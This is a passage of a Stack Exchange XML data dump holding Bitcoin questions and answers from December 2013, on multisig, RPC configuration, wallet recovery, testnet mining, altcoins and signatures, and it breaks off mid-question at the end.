  <row Id="18040" PostTypeId="2" ParentId="10472" CreationDate="2013-12-05T14:33:21.360" Score="-1" Body="&lt;p&gt;Just a thought. I'm not (yet) a miner but seen all the complaints in delivery time from BFL it makes me wonder if they really don't do some mining with the production units before delivering them. It seems normal a 6 month delivery time wait, what doesn't happen in any other kind of market... &#xA;Would you wait 6 months to by a standard electronic device?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the dark side of this business, and the main reason I don't get decided to invest here...&lt;/p&gt;&#xA;" OwnerUserId="10191" LastActivityDate="2013-12-05T14:33:21.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18041" PostTypeId="2" ParentId="18027" CreationDate="2013-12-05T15:20:06.870" Score="1" Body="&lt;p&gt;No, at present this is not possible. The Bitcoin network runs only over the internet. (Of course, there are lots of mobile data networks in the world, and Bitcoin works just fine over those.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could imagine some kind of service to receive transactions by phone or text and relay them to the Bitcoin network (and perhaps vice versa), but I don't think such a service currently exists.  I'm not sure that very many people would find it useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What applications do you have in mind for such a feature? &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-05T15:20:06.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18042" PostTypeId="2" ParentId="9883" CreationDate="2013-12-05T15:26:13.950" Score="0" Body="&lt;p&gt;I recently heard of &lt;a href=&quot;http://bitcoinstore.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstore.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't provide &quot;everything&quot;, and I'm not sure how shipping works, but they have quite a large selection. The way I understand that it works is they take in bitcoin, convert it to dollars, and then pay the actual provider of the item(NewEgg, Amazon, etc)&lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2013-12-05T15:26:13.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18043" PostTypeId="1" CreationDate="2013-12-05T15:31:42.083" Score="5" ViewCount="1431" Body="&lt;p&gt;If I transfer my coins using a multi-sig transaction, they will leave my account, but where are they until the other parties sign and they go to the recipient? If nobody signs, do they come back to me?&lt;/p&gt;&#xA;" OwnerUserId="10199" LastActivityDate="2014-08-09T09:30:06.007" Title="What happens to bitcoins in a multi-sig transaction if nobody signes?" Tags="|multi-signature|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18044" PostTypeId="2" ParentId="18014" CreationDate="2013-12-05T15:37:03.360" Score="0" Body="&lt;p&gt;Mtgox has dollar withdrawal problems. So a dollar within Mt. Gox is worth (valued) less. So you pay more dollars and take your bitcoins out, hence the higher exchange rate.&lt;/p&gt;&#xA;" OwnerUserId="10199" LastEditorUserId="4748" LastEditDate="2014-01-30T21:53:06.643" LastActivityDate="2014-01-30T21:53:06.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18046" PostTypeId="2" ParentId="18021" CreationDate="2013-12-05T16:04:46.803" Score="2" Body="&lt;p&gt;You need to run either Bitcoin-Qt or bitcoind on your system.  Create a bitcoin.conf file containing the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=your-userid&#xA;rpcpassword=your-password&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then connect to your bitcoin node by specifying address 127.0.0.1 and port 8332.  Use the userid and password you specified in the bitcoin.conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is possible to open port 8332 to allow remote users to connect to the local node, this is not a good idea for security reasons because it allows access to your wallet.  Instead, your users would communicate with your application and your application would then make the necessary RPC calls to the local node.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2013-12-10T16:43:58.390" LastActivityDate="2013-12-10T16:43:58.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18047" PostTypeId="2" ParentId="17648" CreationDate="2013-12-05T16:12:32.193" Score="4" Body="&lt;p&gt;You know you don't have to trust the repo. The developers of Bitcoin-QT actually recommend using their binaries rather than the distro's. So you can just keep up to date with those. Official binaries are signed with a Bitcoin-QT developer's PGP keys.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-05T16:12:32.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18048" PostTypeId="1" CreationDate="2013-12-05T17:19:56.150" Score="5" ViewCount="297" Body="&lt;p&gt;I'm interested in finding different techniques that can be used to create vanity addresses with a BIP32 address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, can any of this computation be offloaded to a dedicated server, or a 3rd party?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1137" LastEditDate="2022-01-21T00:42:01.263" LastActivityDate="2022-01-21T00:42:01.263" Title="How do I get a vanity address from a hierarchal deterministic wallet?" Tags="|address|bip32-hd-wallets|vanity-address|bip44|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18049" PostTypeId="2" ParentId="17701" CreationDate="2013-12-05T17:21:55.660" Score="3" Body="&lt;p&gt;I suppose trading bots are the reason here. They calculate usually with big precision, so such orders are normal for them.&lt;br&gt;&#xA;It is also possible that btce is doing some crosspairs (MtGox does it for sure):&lt;br&gt;&#xA;Someone wants to sell 1 BTC for 800 EUR. Exchange insert this order also to USD market with the price 1100.123123 USD. Due to price USD/EUR the amount might look like this.&#xA;&lt;br&gt;&#xA;Finally, some exchanges can reverse pair, e.g. BTC/USD and USD/BTC. Then the price will look so strange.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-12-05T17:21:55.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18050" PostTypeId="2" ParentId="18043" CreationDate="2013-12-05T17:22:54.667" Score="4" Body="&lt;p&gt;They stay in the block chain, just as normal transactions do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at normal transactions first: When someone (&lt;em&gt;A&lt;/em&gt;) sends bitcoins to another person (&lt;em&gt;B&lt;/em&gt;), &lt;em&gt;B&lt;/em&gt; is not involved in the process at all. &lt;em&gt;A&lt;/em&gt; just publishes a transaction in the so called block chain stating that only &lt;em&gt;B&lt;/em&gt; is allowed to claim the coins. Not before &lt;em&gt;B&lt;/em&gt; wants to spend them, he has to prove that he owns them. This happens by putting the signature for the first transaction into the follow-up transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, every transaction stays unsigned in the block chain until the coins are spend in a follow-up transaction. &quot;Owning bitcoins&quot; means having the ability to sign a transaction in which someone sent bitcoins to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-Sig transactions aren't that different, you just need more than one signature. As long as you can't provide them the money is frozen, nobody will be able to spend it.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2013-12-05T17:22:54.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18051" PostTypeId="2" ParentId="18010" CreationDate="2013-12-05T17:59:26.537" Score="0" Body="&lt;p&gt;For this answer, I'm going to assume that you were using the official Bitcoin client, Bitcoin-qt, since that's the most likely scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have the wallet.dat file from when you originally generated the address, you should be OK. If you did not save the wallet.dat file, then there will be no way for you to claim your money, and the bitcoins will just sit on the blockchain indefinitely. If you have the wallet.dat file, you can re-load it like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Bitcoin-qt on your new installation (&lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Download Link&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run Bitcoin-qt and wait until it updates the block chain. &#xA;This could take a very, very long time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stop Bitcoin-qt.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Bitcoin-qt's data directory. You can find out where the directory is &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&#xA;If you are running linux, this should probably just be ~/.bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Replace the autogenerated wallet.dat file with the one that you backed up from your miner.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-start bitcoin-qt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After this, the client should read your keys and calculate the money stored in this address.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2013-12-05T17:59:26.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18052" PostTypeId="2" ParentId="10472" CreationDate="2013-12-05T18:05:09.170" Score="0" Body="&lt;p&gt;If you watch the video on their website, there is a server room with racks and racks of networked miners so its possible that they are.  However, it also appears you can purchase processing power from them instead of the actual hardware.  The  network setup might be for that.&lt;/p&gt;&#xA;" OwnerUserId="9059" LastActivityDate="2013-12-05T18:05:09.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18054" PostTypeId="2" ParentId="18033" CreationDate="2013-12-05T18:27:42.587" Score="11" Body="&lt;p&gt;An explanation of the meaning of the fields given by 'getinfo' :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;version - The version number of this bitcoin-qt or bitcoind program itself. Both of are equivalent. -qt is simply the graphical user interface version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;protocolversion: The version of the bitcoin network protocol supported by this client (user agent software).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;walletversion: The version of the wallet.dat file. Wallet.dat contains bitcoin addresses and public &amp;amp; private key pairs for these addresses. There is additional data on the wallet. Care must be taken to not restore from an old wallet backup. New addresses generated in the wallet since the old backup was made will not exist in the old backup! Source: &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot;&gt;https://en.bitcoin.it/wiki/Wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;balance: The total number of bitcoins held in the wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blocks: The total number of blocks which constitute the shared block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;timeoffset: Seconds of difference between this node's &quot;wall clock time&quot; and the median reported by our network peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;connections: the number of peers on the bitcoin P2P network that this node is connected to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;proxy: If using a proxy to connect to the network, listed here, otherwise blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;difficulty: the current mining difficulty factor. Difficulty is increased as more miners and more hash compute power compete to be the next one to have a block of transactions added to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;testnet: Boolean value (true OR false). There is a parallel bitcoin network, the testnet, where trials and experiments may be carried out without impacting the official, live bitcoin P2P network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keypoololdest: timestamp (UNIX epoch) of the oldest key in the keypool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keypoolsize: A number of addresses are kept in reserve by the client. This is the size of that reserve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paytxfee: Specifies what fee the client is willing to pay to expedite transactions. Miners may choose to ignore transactions that do not pay a fee, and these fee-less transactions will have low priority on queue of pending transaction and may linger there for hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;errors: This field may inform of different status conditions. Full list of error codes in source file bitcoinrpc.h (&lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/bitcoinrpc_8h_source.html&quot;&gt;https://dev.visucore.com/bitcoin/doxygen/bitcoinrpc_8h_source.html&lt;/a&gt;) (Examples: &quot;Bitcoin not connected&quot;, &quot;database error&quot;, &quot;Keypool ran out&quot;...) &lt;/p&gt;&#xA;" OwnerUserId="10189" LastActivityDate="2013-12-05T18:27:42.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18055" PostTypeId="2" ParentId="7579" CreationDate="2013-12-05T18:41:04.400" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;go to C:\Program Files\Ufasoft\Coin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then rename the &quot;coin-miner.exe&quot; to &quot;bitcoin-miner.exe&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;then in Ext. path on GUIminer enter C:\Program Files\Ufasoft\Coin\bitcoin-miner.exe&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10214" LastEditorUserId="132" LastEditDate="2013-12-10T12:18:22.263" LastActivityDate="2013-12-10T12:18:22.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18056" PostTypeId="1" CreationDate="2013-12-05T18:52:15.887" Score="2" ViewCount="786" Body="&lt;p&gt;I've been chugging away on multiple machines for days, and while I get a lot of 'unconfirmed' and 'orphaned' and 'immature' blocks, nothing lands in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else having this problem?  From the blockexplorer site, I can see blocks being mined as recent as today - I wonder if some are mine, and they're somehow sent to /dev/null?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can point me towards a real solution here, I can repay you with some counterfiet BTC.  :D&lt;/p&gt;&#xA;" OwnerUserId="10215" LastEditorUserId="5406" LastEditDate="2016-03-14T19:42:57.270" LastActivityDate="2016-03-14T19:42:57.270" Title="Anyone successfully mining bitcoins in Testnet3?" Tags="|difficulty|testnet|mining-technical-details|block-propagation-time|immature-coins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18057" PostTypeId="1" AcceptedAnswerId="18191" CreationDate="2013-12-05T18:57:32.300" Score="2" ViewCount="654" Body="&lt;p&gt;I am thinking about purchasing a 3TH mining rig and would like to know if it is still worthwile me joining a mining pool to mine BitCoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have enough power to go it alone?&lt;/p&gt;&#xA;" OwnerUserId="10216" LastEditorUserId="5406" LastEditDate="2016-03-31T16:30:32.510" LastActivityDate="2016-03-31T16:30:32.510" Title="Do I need to join a pool if I have a 3TH mining rig?" Tags="|mining-pools|mining-profitability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18059" PostTypeId="1" CreationDate="2013-12-05T19:26:37.630" Score="1" ViewCount="395" Body="&lt;p&gt;I've reset the blockchain about 5 times over a week and still nothing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded multibit wallet to version 0.5.15 and still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or help would be greatly appreciated!!! :-)&lt;/p&gt;&#xA;" OwnerUserId="10218" LastEditorUserId="5757" LastEditDate="2013-12-10T23:47:38.520" LastActivityDate="2013-12-10T23:47:38.520" Title="My multibit wallet (Ver. 0.5.15) shows nothing after being sent part of a coin?" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18060" PostTypeId="1" CreationDate="2013-12-05T19:44:55.250" Score="1" ViewCount="100" Body="&lt;p&gt;My laptop screen died and although I was able to recover all the data when I reinstalled qt on my desktop and it finally synced after some crashes there was no transaction history and 0 balance. I upgraded to 8.5 Qt but still nothing.I have backups of wallet.dat but I did encrypt it on my laptop. have read a ton of posts but nothing seems to cover how i get bitcon qt to open or read the dat file. Its been six months since my last transaction, do i need to recover other data from my laptop and how do i know if my encrypted wallet still has info on it? help a midlife crisis!&lt;/p&gt;&#xA;" OwnerUserId="10221" LastActivityDate="2013-12-05T19:44:55.250" Title="recovering coins from a faulty laptop to my desktop" Tags="|wallet|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18061" PostTypeId="2" ParentId="17668" CreationDate="2013-12-05T20:04:05.663" Score="0" Body="&lt;p&gt;The answer is simple'ish.  But a more in-depth one could still be be provided by somebody else, so I wont mark my answer as accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quark uses 6 hashing functions (blake, bmw, groestl, jh, keccak, skein) and so these need to found and compiled into whatever p2pool is in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've scrapped off the idea of bothering for now, as there's only 10% left of Quarkcoins to mine, probably why there are so few pools about as it is.&lt;/p&gt;&#xA;" OwnerUserId="9559" LastActivityDate="2013-12-05T20:04:05.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18064" PostTypeId="2" ParentId="18057" CreationDate="2013-12-05T20:36:55.000" Score="4" Body="&lt;p&gt;It is hard to decide right now, knowing that till you will buy, and the company will deliver your hardware, the difficulty will change many times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now with a current difficulty, solo mining with 3Th/s will give an estimation of mining a block in 2 weeks (during this two weeks the difficulty may change). So even right now I would rather have a steady 2 BTC per day then to risk. Especially if after buying this hardware, you need to break even as fast as possible.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1891" LastEditDate="2013-12-06T00:24:16.007" LastActivityDate="2013-12-06T00:24:16.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18065" PostTypeId="1" CreationDate="2013-12-05T20:42:51.717" Score="1" ViewCount="184" Body="&lt;p&gt;I received a runaway exception error then deleted everything but wallet.dat from the data directory and opened bitcoin-qt to redownload the blockchain.  Transactions larger than 0.00016 btc remain unconfirmed on my overview page even as they show as confirmed on the transactions page.  These larger transactions are also missing when I go to the send coins page, click inputs, then click the drop down icon next to my address.  I have tried downloading the blockchain twice and the same thing happened both times.  I did not allow the blockchain to fully download because of the error and because I have a new large transaction that is not yet part of my wallet.dat file.  I am running version 0.8.1.  I imported my private keys from blockchain.info in May.  Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="10228" LastActivityDate="2013-12-05T20:42:51.717" Title="Old transactions remain unconfirmed after redownloading the blockchain" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18067" PostTypeId="1" AcceptedAnswerId="18069" CreationDate="2013-12-05T21:11:56.173" Score="6" ViewCount="703" Body="&lt;p&gt;My novice understanding of BTC is that BTC is valuable because it's scarce - mathematically, there can only be 21M BTC, no more.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's stopping another altcoins from starting with the same protocol, but a new chain, rendering the limit of BTC to N * 21MBTC?  &lt;/p&gt;&#xA;" OwnerUserId="10231" LastEditorUserId="516" LastEditDate="2013-12-05T21:37:16.010" LastActivityDate="2013-12-06T08:57:34.107" Title="What's stopping an infinite number of altcoins with the same protocol from appearing in the future?" Tags="|alternatives|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18068" PostTypeId="2" ParentId="18056" CreationDate="2013-12-05T21:15:41.503" Score="1" Body="&lt;p&gt;&quot;Immature&quot; blocks should be valid, but they require 100-120 confirmations before they can be spent.  On testnet this may take up to 40 hours or so.  If you have the block hash (it should be in &lt;code&gt;debug.log&lt;/code&gt; if not elsewhere), you ought to be able to find these blocks on &lt;a href=&quot;http://blockexplorer.com/testnet&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet&lt;/a&gt; and see them linked into the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Orphaned&quot; blocks can happen if you find a block, but unbeknown to you, someone else has already found a block linked to the same parent.  This seems to be more common on testnet, which doesn't seem to be very efficient at propagating newly found blocks.  (I don't know why, perhaps there are a lot of experimental clients which don't relay blocks properly.)  This can especially happen due to the 20-minute rule on testnet, whereby if no block is found within 20 minutes of the last one, the difficulty temporarily drops to 1.  When this happens, typically lots of people find a block within a few seconds, and there is a race to see whose will be propagated and accepted first.  So every time this happens, there's a good chance you'll find a block at difficulty 1, but an even better chance that someone beat you to it, and your block will be orphaned.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-05T21:15:41.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18069" PostTypeId="2" ParentId="18067" CreationDate="2013-12-05T21:22:14.383" Score="8" Body="&lt;p&gt;Nothing stops this at all.  You can start your own right now, removing the 21M limit or adopting whatever rules you want, and mine as many coins as you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, you can sit down at your printer, and print lots of $100 bills with your own portrait, and invent whatever rules you want as to how they can be spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question in both cases is whether anyone besides you will want to use them, and be willing to exchange them for goods or services.  You'd have to convince people to use them, that your rules are such an improvement over the existing ones that they should switch.   If they don't, then your new coins or bills have no real value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's nothing stopping an infinite variety of altcoins from appearing; but probably only a few of them will be adopted by anyone.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-05T21:22:14.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18070" PostTypeId="2" ParentId="18067" CreationDate="2013-12-05T21:40:50.960" Score="1" Body="&lt;p&gt;Technically, there is nothing that stops this. There are already dozens of alt-coins that have popped up out there. &lt;a href=&quot;https://litecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt;, for example, is essentially Bitcoin with a few tweaks, one of which is a larger ceiling on how many coins can be minted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note though that these alt-coins can only exist parallel to Bitcoin, even if they use the same protocol. The only way that Bitcoins are ever generated is when a new block is added to the blockchain, and Bitcoins are never destroyed. You can loose access to coins by forgetting or loosing the private keys in your wallet, but those coins still exist even if they can't be used. Whenever you spend or receive Bitcoins, those coins are simply being moved around within the blockchain like they might be in an accountant's ledger. Bitcoins do not leave the system, and they cannot be introduced to the system from another blockchain, even if it uses the same protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the different coins are not inter-operable, what stops too many competitors from becoming widely used is momentum within the market. Bitcoin has a great many people who have invested time and money into it, and they are unlikely to just switch over to another coin at the drop of the hat.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2013-12-05T21:40:50.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18071" PostTypeId="1" CreationDate="2013-12-05T21:56:59.800" Score="7" ViewCount="11568" Body="&lt;p&gt;Just curious, if I send a transaction from one address to another, how do they verify it without knowing my private key?&lt;/p&gt;&#xA;" OwnerUserId="10236" LastActivityDate="2018-02-08T08:52:20.603" Title="How do signatures work?" Tags="|transactions|hash|signature|verification|message-signing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18072" PostTypeId="1" CreationDate="2013-12-05T22:08:13.247" Score="2" ViewCount="410" Body="&lt;p&gt;I want to be capable of giving someone a small amount of bitcoin, in the form of a box (such that can be transfered through the mail or whatever). How can I do it, and make it as easy as possible for them to take ownership and start messing with it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen paper wallet where you just write a thing down, but I don't want to force them to type in a long key. &lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2013-12-07T05:43:16.083" Title="How can I physically give someone bitcoins for easy redeeming?" Tags="|paper-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18074" PostTypeId="2" ParentId="18071" CreationDate="2013-12-05T22:15:28.083" Score="8" Body="&lt;p&gt;Bitcoin uses the Elliptic Curve Digital Signature Algorithm (ECDSA).  Your private key is used to create the signature and your public key is used to verify the signature.  This allows anybody to verify your signature as long as they have your public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detailed information: &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_Signature_Algorithm&quot; rel=&quot;noreferrer&quot;&gt;Digital Signature Algorithm&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot; rel=&quot;noreferrer&quot;&gt;Elliptic Curve DSA&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-05T22:15:28.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18076" PostTypeId="1" AcceptedAnswerId="18090" CreationDate="2013-12-05T22:45:10.673" Score="5" ViewCount="1880" Body="&lt;p&gt;Is it safe to delete &lt;em&gt;bootstrap.dat.old&lt;/em&gt;? Because my &lt;em&gt;bitcoin-qt&lt;/em&gt; is using the internet to synchronize right now (&quot;Importing blocks from disk.&quot; stage has finished). But I still am not sure.&lt;/p&gt;&#xA;" OwnerUserId="9410" LastActivityDate="2013-12-09T05:01:23.763" Title="Is it safe to delete bootstrap.dat.old?" Tags="|bootstrap.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18077" PostTypeId="2" ParentId="18072" CreationDate="2013-12-05T23:44:54.763" Score="1" Body="&lt;p&gt;Most paper wallets include a QR Code (2D barcode) of the address and private key to save you from typing them in by hand.  Some bitcoin wallets allow you to scan a QR code to sweep the funds out of it - I know blockchain.info's online wallter will let you use your webcam to scan a private key.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-05T23:44:54.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18078" PostTypeId="2" ParentId="17969" CreationDate="2013-12-05T23:54:10.607" Score="0" Body="&lt;p&gt;First, anyone can use Bitcoin reliably without a bank account. In fact, there is no user registration, no credit check, and certainly no central institution that can reliably exclude users. Completely detaching your life from banking, however, should still be somewhat challenging:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To pay for groceries/clothing/gasoline/public transportation and other regular needs with Bitcoin will probably be hard. &lt;a href=&quot;http://lifeonbitcoin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;It can be done&lt;/a&gt;, but at this stage will require much more effort.&lt;/li&gt;&#xA;&lt;li&gt;Emergency situations would really want you to have a fall-back. A broke down car in the middle of nowhere and stuck trying to get the tower to accept Bitcoin would suck, or, well, needing a taxi ride to the ER.&lt;/li&gt;&#xA;&lt;li&gt;Obtaining bitcoins is harder without a bank account. You'd have to arrange to trade locally, which costs more time, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13117/5406&quot;&gt;is not without security risks&lt;/a&gt;, and a bit more expensive. Or convince your employer/your costumers to pay you in Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;And you'd need to find an internet service provider that allows you to pay in another fashion than anything banking related. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is private in that nobody can easily see how much money you are holding or spending. It is not anonymous, because whenever you trade Bitcoin for anything else, your identity might be breached to at least your business partner, thus create a connection to your address or even several of your addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With some nations having already declared Bitcoin's legal status (e.g. &lt;a href=&quot;http://rt.com/news/bitcoin-germany-recognize-currency-641/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Germany&lt;/a&gt;), and some online services introducing Bitcoin as payment option(e.g. &lt;a href=&quot;http://www.coindesk.com/shopify-integrates-bitcoin-payments/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shopify&lt;/a&gt;), also judging from news today (e.g. &lt;a href=&quot;http://newsfeed.time.com/2013/12/05/i-bought-everything-on-my-christmas-list-with-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Time reporter doing her Christmas shopping exclusively with bitcoins&lt;/a&gt;), Bitcoin is spreading quickly. I'd say that with luck and a bit of patience, it might actually be comfortably possible to completely do without a bank account.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-12-05T23:54:10.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18079" PostTypeId="2" ParentId="17990" CreationDate="2013-12-06T00:12:32.390" Score="1" Body="&lt;p&gt;Upgrade to OS X Mavericks and it should work. It's a driver issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least on my Macbook, after I upgraded to Mavericks I can mine on both the GeForce and the Intel HD 4000. Not that it makes sense to do so. ASICs have taken over, and even before that AMD was the GPU for mining.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-12-06T00:12:32.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18080" PostTypeId="1" CreationDate="2013-12-06T01:03:18.890" Score="1" ViewCount="93" Body="&lt;p&gt;I am dabbling with &lt;strong&gt;Bitcoin-QT&lt;/strong&gt; with -server parameter locally, I guess this is not very different from using &lt;strong&gt;bitcoind&lt;/strong&gt; remotely. I use &lt;strong&gt;Java&lt;/strong&gt; and some http client library pluss a json parser to communicate with Bitcoin API via JSON RPC. However, this question is not related to the platform I use in any way, this is a pure Bitcoin API question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have noticed is the following: if I make a call to &lt;strong&gt;wallettpassphrase&lt;/strong&gt; with timeout, say, 5 seconds, the wallet remains open for all other connections for the same amount of time. For example, if connection A issues &lt;strong&gt;wallettpassphrase my_phrase 5&lt;/strong&gt;, another connection, say B, does not have to know passphrase to spend coins. It is sufficient to try many times until some other connection opens up the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried it myself, but I wonder... is this the same with &lt;strong&gt;bitcoind&lt;/strong&gt;? In other word, if 2 different machines, A and B, connect to the same 